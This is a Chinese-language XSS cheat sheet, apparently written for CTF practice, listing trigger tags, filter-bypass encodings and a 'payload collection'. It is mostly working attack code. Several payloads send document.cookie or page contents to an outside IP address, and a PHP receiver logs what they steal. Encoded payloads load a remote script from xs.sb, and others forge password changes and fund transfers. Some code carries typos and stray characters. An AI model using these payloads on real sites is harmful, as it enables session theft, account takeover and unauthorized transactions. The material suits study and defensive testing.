XSS跨站脚本攻击漏洞

一、常见触发标签

无过滤情况

1.<script>

<scirpt>alert("xss");</script>

2.<img>

当图片加载错误时触发

<img src="x" onerror=alert(1)><img src="1" onerror=eval("alert('xss')")>

还可以改成onmouseover=”alert(1)” onmouseout=”alert(1)”

3.<a>

1
2
3
4
5
6
<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a> 不是触发性的动作需要加前缀javascript:
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

4.<input>

1
2
3
4
5
<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>

5.<from>

1
2
3
4
<form action=javascript:alert('xss')>
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<script>alert('xss')</script>编码为base64

6.<iframe>

1
2
3
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

7.<svg>

<svg onload=alert(1)>

其他不常见的标签见

存在过滤情况

1.过滤空格

使用/绕过

<img/src="x"/onerror=alert("xss");

%0c,%09,/**/注释符

<body/**/onload="document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie"></body>

2.过滤关键字

(1)大小写绕过
(2)复写关键字
(3)字符拼接

1
2
3
4
使用eval
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
使用top
<script>top["al"+"ert"](``xss``);</script>(有两个``这里是为了凸显出有`符号)

document.write(String.fromCharCode(ascii码)

首先document.write将一个文本字符串写入一个由 document.open() 打开的文档流(document stream)。

1
2
3
4
5
function newContent() {
document.open();
document.write("<h1>Out with the old - in with the new!</h1>");
document.close();
}
  • String.fromCharCode():把unicode编码转换为字符

    1
    2
    <body/οnlοad=“document.write(String.fromCharCode(32));document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(114));document.write(String.fromCharCode(73));document.write(String.fromCharCode(112));document.write(String.fromCharCode(116));document.write(String.fromCharCode(32));document.write(String.fromCharCode(115));document.write(String.fromCharCode(114));document.write(String.fromCharCode(67));document.write(String.fromCharCode(61));document.write(String.fromCharCode(47));document.write(String.fromCharCode(47));document.write(String.fromCharCode(120));document.write(String.fromCharCode(115));document.write(String.fromCharCode(46));document.write(String.fromCharCode(115));document.write(String.fromCharCode(98));document.write(String.fromCharCode(47));document.write(String.fromCharCode(89));document.write(String.fromCharCode(84));document.write(String.fromCharCode(85));document.write(String.fromCharCode(104));document.write(String.fromCharCode(62));document.write(String.fromCharCode(60));document.write(String.fromCharCode(47));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));”

使用eval+16进制绕过

1
2
<body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")>
<!--document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,47,47,120,115,46,115,98,47,89,84,85,104,62,60,47,115,67,82,105,112,84,62));

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>"
res = ''
res2 = ''
for i in a:
tmp = ord(i)
res += str(tmp)
res+=","
res2 +=f"document.write(String.fromCharCode({str(tmp)}));"
# print(res)
# print(res2)
#-------------生成脚本分为上下2个,上面的是生成没过滤.的脚本---------------
a = "646f63756d656e742e777269746528537472696e672e66726f6d43686172436f64652836302c3131352c36372c3131342c37332c3131322c3131362c33322c3131352c3131342c36372c36312c34372c34372c3132302c3131352c34362c3131352c39382c34372c38392c38342c38352c3130342c36322c36302c34372c3131352c36372c38322c3130352c3131322c38342c363229293b"
z = 0
res = ''
for i in a:
if z ==2:
z=0
if z ==0:
res+=r"\x"
res += i
z+=1
# print(res)

3.其他字符混淆

1
2
3
4
5
可利用注释、标签的优先级等
<<script>alert("xss");//<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
<title><img src=</title>><img src=x onerror="alert(``xss``);"> 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

4.编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
html编码<script>alert("xss");</script>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
Unicode编码绕过,eval里面也加分号
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制绕过
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

5.过滤双引号,单引号

在js中,用两个反引号代替双引号

或者使用编码绕过

6.过滤括号

使用throw来绕过

1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

7.过滤url地址

1
2
3
4
5
http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/ #url编码
http://2130706433/ #十进制ip
http://0177.0.0.01/ #8进制ip
http://0x7f.0x0.0x0.0x1/ #16进制ip
//www.baidu.com #html标签中用//可以代替http://

linux下可以使用\代替/

使用中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度

payload大全

1.

1
<script>document.location.href='http://43.140.251.169/X.php?1='+document.cookie</script>

vps上的X.php,会把cookie写入flag.txt

1
2
3
4
5
6
7
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('flag.txt',$content);
}else{
echo 'no date input';
}

2.

1
2
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://43.140.251.169/X.php?1='+value.innerHTML;}});</script>

这段payload表示从页面查找有ctfshow{的字段

  • laytable-cell:表示这是一个 Layui 表格的单元格。

  • 1-0-1
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    :通常是由三个部分组成,分别表示:

    - 第一部分(`1`):表示表格的索引或 ID。
    - 第二部分(`0`):表示行的索引。
    - 第三部分(`1`):表示列的索引。

    因此,`laytable-cell-1-0-1` 可能是一个特定表格中第一行第二列的单元格。

    ### 3.

    ```html
    <script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script>

伪造本地用户更改密码

post更改用jquery中的ajax

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>
1
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'boogipop',a:10000}});</script>